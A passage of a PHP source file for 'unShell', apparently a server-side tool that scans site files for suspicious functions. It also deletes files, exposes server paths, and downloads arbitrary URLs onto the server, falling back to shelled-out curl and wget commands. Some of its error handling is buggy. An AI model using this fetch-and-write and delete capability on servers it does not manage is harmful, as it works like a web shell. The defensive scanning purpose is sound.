ZXJ0aWNhbC1hbGlnbjptaWRkbGU7d29yZC13cmFwOmJyZWFrLXdvcmR9I2FwcHtmb250LWZhbWlseTpBdmVuaXIsSGVsdmV0aWNhLEFyaWFsLHNhbnMtc2VyaWY7dGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6IzVhNWE1YX0KCjwvc3R5bGU+CiAgPC9oZWFkPgogIDxib2R5PgogICAgPGRpdiBpZD0iYXBwIj48L2Rpdj4KICA8L2JvZHk+CjwvaHRtbD4K';
                    echo base64_decode($str);
                }
        }
    }

    
    public function finish($res_code = null, $additional = null, $additional_message = '')
    {
        if ($res_code !== null)
            $this->_status_code = $res_code;

        $msg = '';

        if ($this->_status_code !== UNSHELL_OK ) {
            $msg = $this->_messages[$this->_status_code] . ' ' . $additional_message;
        }

        $data = array(
            'result_code' => $this->_status_code,
            'result_message' => $msg,
            'working_directory' => $this->_self_directory,
            'directory_separator' => DIRECTORY_SEPARATOR,
            'root_directory' => $_SERVER['DOCUMENT_ROOT'],
            'server_name' => $_SERVER['SERVER_NAME'],
            'server_port' => $_SERVER['SERVER_PORT'],
            'request_uri' => $_SERVER['REQUEST_URI'],
            'https' => isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] !== 'off') ? 'yes' : 'no'
        );

        if ($additional !== null) {
            $data = array_merge($data, $additional);
        }

        echo $this->json_encode_cs($data);

        exit($this->_status_code);
    }

    
    public function json_encode_cs($data)
    {

        if (version_compare(phpversion(), '5.4', '<')) {
            $ret = $this->raw_json_encode($data);
        } else {
            if (PHP_VERSION_CS >= VALID_JSON_VERSION) {
                $ret = json_encode($data, 64 | 256);
            } else {
                $ret = json_encode($data);
            }

            
            if (!$ret) {
                $ret = $this->_json_encode($data);
            }
        }

        return $ret;
    }

    function raw_json_encode($input, $flags = 0)
    {
        $fails = implode('|', array_filter(array(
            '\\\\',
            $flags & JSON_HEX_TAG ? 'u003[CE]' : '',
            $flags & JSON_HEX_AMP ? 'u0026' : '',
            $flags & JSON_HEX_APOS ? 'u0027' : '',
            $flags & JSON_HEX_QUOT ? 'u0022' : '',
        )));
        $pattern = "/\\\\(?:(?:$fails)(*SKIP)(*FAIL)|u([0-9a-fA-F]{4}))/";
        $callback = function ($m) {
            return html_entity_decode("&#x$m[1];", ENT_QUOTES, 'UTF-8');
        };
        return preg_replace_callback($pattern, $callback, json_encode($input, $flags));
    }


    
    function _json_encode($val)
    {
        if (is_string($val)) return '"' . addslashes($val) . '"';
        if (is_numeric($val)) return $val;
        if ($val === null) return 'null';
        if ($val === true) return 'true';
        if ($val === false) return 'false';

        $assoc = false;
        $i = 0;
        foreach ($val as $k => $v) {
            if ($k !== $i++) {
                $assoc = true;
                break;
            }
        }
        $res = array();
        foreach ($val as $k => $v) {
            $v = $this->_json_encode($v);
            if ($assoc) {
                $k = '"' . addslashes($k) . '"';
                $v = $k . ':' . $v;
            }
            $res[] = $v;
        }
        $res = implode(',', $res);
        return ($assoc) ? '{' . $res . '}' : '[' . $res . ']';
    }

    
    private function removeFile($file_path)
    {
        if (($res = $this->canManipulateFile($file_path)) !== UNSHELL_OK) {
            return $res;
        }

        if (is_dir($file_path)) {
            if ($this->deleteDirectory($file_path)) {
                return UNSHELL_OK;
            } else {
                return UNSHELL_OK;
            }
        }

        if (unlink($file_path)) {
            return UNSHELL_OK;
        } else {
            return UNSHELL_CANT_DELETE;
        }
    }

    public function canManipulateFile($file)
    {
        if (($res = $this->canReadFile($file)) !== UNSHELL_OK) {
            return $res;
        }

        if (!is_writeable($file)) {
            return UNSHELL_PATH_WRITE_ACCESS_FORBIDDEN;
        }

        return UNSHELL_OK;
    }

    
    public function canReadFile($file)
    {
        if (!is_readable($file)) {
            
            return UNSHELL_PATH_ACCESS_FORBIDDEN;
        }

        if (!file_exists($file)) {
            return UNSHELL_PATH_IS_NOT_EXISTS;
        }

        if (realpath($file) === realpath(rtrim($this->_self_directory, '/') . '/' . $this->_self)) {
            return UNSHELL_PATH_IS_ME;
        }

        return UNSHELL_OK;
    }

    private function deleteDirectory($dir)
    {
        $files = array_diff(scandir($dir), array('.', '..'));

        foreach ($files as $file) {
            (is_dir("$dir/$file")) ? $this->deleteDirectory("$dir/$file") : unlink("$dir/$file");
        }

        return rmdir($dir);
    }

    
    private function fileInfo($file)
    {

        $info = array();

        $file_info = pathinfo($file);
        $info['dir_name'] = $file_info['dirname'];
        $info['base_name'] = $file_info['basename'];

        $info['writeable'] = is_writable($file);

        $info['ext'] = isset($file_info['extension']) ? $file_info['extension'] : '';

        $info['owner_id'] = fileowner($file);

        $info['fingerprint'] = false;

        $info['owner'] = $info['owner_id'];

        $info['permissions'] = substr(sprintf('%o', fileperms($file)), -4);

        if (function_exists('posix_getpwuid')) {
            $owner_data = @posix_getpwuid($info['owner_id']);
            if ($owner_data) {
                $info['owner'] = $owner_data['name'];
            }
        }

        

        if (!$this->show_full_path) {
            $info['full_path'] = $file_info['dirname'] . '/' . $file_info['basename'];
        } else {
            $info['full_path'] = $this->full_directory . '/' . $file_info['basename'];
        }

        $info['last_accessed'] = date($this->dateformat, fileatime($file));
        $info['last_modified'] = date($this->dateformat, filemtime($file));

        $info['size'] = filesize($file);

        $mime_type = 'n/a';
        if (function_exists('mime_content_type')) {
            $mime_type = mime_content_type($file);
        }

        $info['mime_type'] = $mime_type;

        $info['hash'] = md5($info['size'] . $info['writeable'] . $info['full_path'] . $info['owner'] . $info['owner_id'] . $info['permissions']);

        return $info;
    }

    
    private function analyze($file, $fast = true)
    {
        $type = 'ok';
        $susp_funcs = array();

        $this->counter++;

        
        $content = file_get_contents($file);

        $content_ready = $content;

        if (preg_match($this->_regex, $content, $matches, PREG_OFFSET_CAPTURE, 0)) {
            $type = 'suspicious';
            $shellflag = "Uses suspicious functions";
            if (!$fast) {
                $_content = explode("\n", $content);
                $content_ready = '';
                for ($line = 0; $line < count($_content); $line++) {
                    if (preg_match_all($this->_regex, $_content[$line], $matches, PREG_SET_ORDER, 0)) {
                        foreach ($matches as $match) {
                            if (!isset($susp_funcs[$match[0]])) {
                                $susp_funcs[$match[0]] = array();
                            }
                            $susp_funcs[$match[0]]['func'] = $match['0'];

                            if (!isset($susp_funcs[$match[0]]['lines'])) {
                                $susp_funcs[$match[0]]['lines'] = array();
                            }
                            $susp_funcs[$match[0]]['lines'][$line] = ($line + 1);
                        }
                        $content_ready .= ' ' . $_content[$line] . "\n";
                        
                    } else {
                        $content_ready .= $_content[$line] . "\n";
                    }
                }
            }

            $this->suspcounter++;
        } else {
            $shellflag = '';
        }

        foreach ($susp_funcs as $k => $func) {
            $susp_funcs[$k]['lines'] = array_values($func['lines']);
        }

        $susp_funcs = array_values($susp_funcs);

        return array('message' => $shellflag, 'type' => $type, 'funcs' => $susp_funcs, 'content' => htmlentities(trim($content_ready), ENT_IGNORE));
    }

    private function fileContent($file, &$data)
    {
        if (!file_exists($file)) {
            return UNSHELL_NOT_FILE;
        }

        if (filesize($file) > $this->filesize) {
            return 20;
        }

        $data = file_get_contents($file);

        $data = htmlentities($data);

        if ($data === false) {
            return 30;
        }

        return 0;
    }

    
    private function filescan()
    {
        $this->scandir($this->directory);
        if ($this->filelimit > 0) {
            if (count($this->files) > $this->filelimit) {
                return false;
            }
        }

        return true;
    }

    
    private function scandir($dir)
    {
        if (!is_dir($dir) || !is_readable($dir)) {
            return true;
        }

        $handle = opendir($dir);

        if ($this->filelimit > 0) {
            if (count($this->files) > $this->filelimit) {
                return true;
            }
        }

        while (($file = readdir($handle)) !== false) {
            if ($file == '.' || $file == '..') {
                continue;
            }

            $filepath = ($dir == '.') ? $file : $dir . '/' . $file;

            if (is_link($filepath)) {
                continue;
            }

            if (is_file($filepath)) {
                if (substr(basename($filepath), 0, 1) != "." || $this->scan_hidden) {
                    if ($this->show_only_ext) {
                        $file_info = pathinfo($filepath);

                        if (is_string($this->extensions) && $this->extensions == '*') {
                            $this->files[] = $this->fileInfo($filepath);
                        } else if (in_array($file_info['extension'], $this->extensions)) {
                            $this->files[] = $this->fileInfo($filepath);
                        }
                    } else {
                        $this->files[] = $this->fileInfo($filepath);
                    }
                }
            } else if (is_dir($filepath) && $this->scan_subdirs) {
                $this->scandir($filepath);
            }
        }
        closedir($handle);

        return false;
    }

    
    private function checkFiles()
    {
        foreach ($this->files as $k => $file) {

            if ($this->show_only_ext && !in_array($file['ext'], $this->extensions)) {
                continue;
            }

            if (is_readable($file['full_path'])) {
                if (in_array($file['ext'], $this->extensions)) {
                    $data = $this->analyze($file['full_path']);

                    $file['message'] = $data['message'];
                    $file['type'] = $data['type'];
                    $file['funcs'] = $data['funcs'];
                } else {
                    $file['message'] = 'unchecked';
                    $file['type'] = 'n/a';
                    $file['funcs'] = array();
                }

                $this->files[$k] = $file;
            }
        }
    }

    function getDirs()
    {
        $dirs = array();

        $data = array_diff(scandir($this->_self_directory), array('.'));

        foreach ($data as $item) {
            if (is_dir($this->_self_directory . '/' . $item)) {
                array_push($dirs, $this->dirInfo($item));
            }
        }

        return $dirs;
    }

    
    private function dirInfo($file)
    {
        $info = array();

        $info['base_name'] = $file;

        $file = realpath($this->_self_directory . '/' . $file);

        $file_info = pathinfo($file);

        $info['writeable'] = is_writable($file);

        $info['type'] = 'dir';

        $info['owner_id'] = fileowner($file);

        $info['owner'] = $info['owner_id'];

        $info['permissions'] = substr(sprintf('%o', fileperms($file)), -4);

        if (function_exists('posix_getpwuid')) {
            $owner_data = @posix_getpwuid($info['owner_id']);
            if ($owner_data) {
                $info['owner'] = $owner_data['name'];
            }
        }

        

        if (!$this->show_full_path) {
            $info['full_path'] = $file_info['dirname'] . '/' . $file_info['basename'];
        } else {
            $info['full_path'] = $this->full_directory . '/' . $file_info['basename'];
        }

        $info['last_accessed'] = date($this->dateformat, fileatime($file));
        $info['last_modified'] = date($this->dateformat, filemtime($file));

        $info['hash'] = md5($info['writeable'] . $info['full_path'] . $info['owner'] . $info['owner_id'] . $info['permissions']);

        return $info;
    }

    
    private function loadFileFromWeb($url, $file_name, $overwrite = true)
    {
        if (!$overwrite) {
            if (file_exists($file_name)) {
                return UNSHELL_PATH_IS_EXISTS;
            }
        } else {
            if (file_exists($file_name)) {
                $man_res = $this->canManipulateFile();
                if ($man_res !== UNSHELL_OK) {
                    return $man_res;
                }
            }
        }

        if ($this->downloadFile($url, $file_name)) {
            return UNSHELL_OK;
        } else {
            return UNSHELL_GENERIC_ERROR;
        }
    }

    
    private function downloadFile($url, $path)
    {

        $ua_local = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36';

        
        if (function_exists('curl_init')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_USERAGENT, $ua_local);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            $data = curl_exec($ch);
            $error = curl_error($ch);
            curl_close($ch);
            if (!$error) {
                return file_put_contents($path, $data) !== false;
            }
        }

        
        if (ini_get('allow_url_fopen')) {
            $data = file_get_contents($url);
            if ($data !== false) {
                return file_put_contents($path, $data) !== false;
            }
        }

        
        $file = fopen($url, 'rb');
        if ($file) {
            $local = fopen($path, 'wb');
            if ($local) {
                while (!feof($file)) {
                    fwrite($local, fread($file, 1024 * 8), 1024 * 8);
                }
                fclose($local);
                fclose($file);
                return true;
            }
        }
















        
        if (is_callable('exec')) {
            @exec("curl -L " . escapeshellarg($url) . " -o " . escapeshellarg($path) . " 2>&1", $output, $returnVar);
            if ($returnVar === 0 && file_exists($path)) { 
                return true;
            }
        }

        
        if (is_callable('exec')) {
            @exec("wget -q " . escapeshellarg($url) . " -O " . escapeshellarg($path) . " 2>&1", $output, $returnVar);
            if ($returnVar === 0 && file_exists($path)) { 
                return true;
            }
        }

        
        return false;
    }

}

header("Access-Control-Allow-Methods: POST,GET,OPTIONS");
header("Access-Control-Allow-Origin: http://localhost:8081");
header("Access-Control-Allow-Headers: *");


$log_file = "./my-errors.log";


ini_set("log_errors", TRUE);


ini_set('error_log', $log_file);

$cmd = 'nop';

$unsh = new unShell($UNSHELL_MESSAGES);

$unsh->start();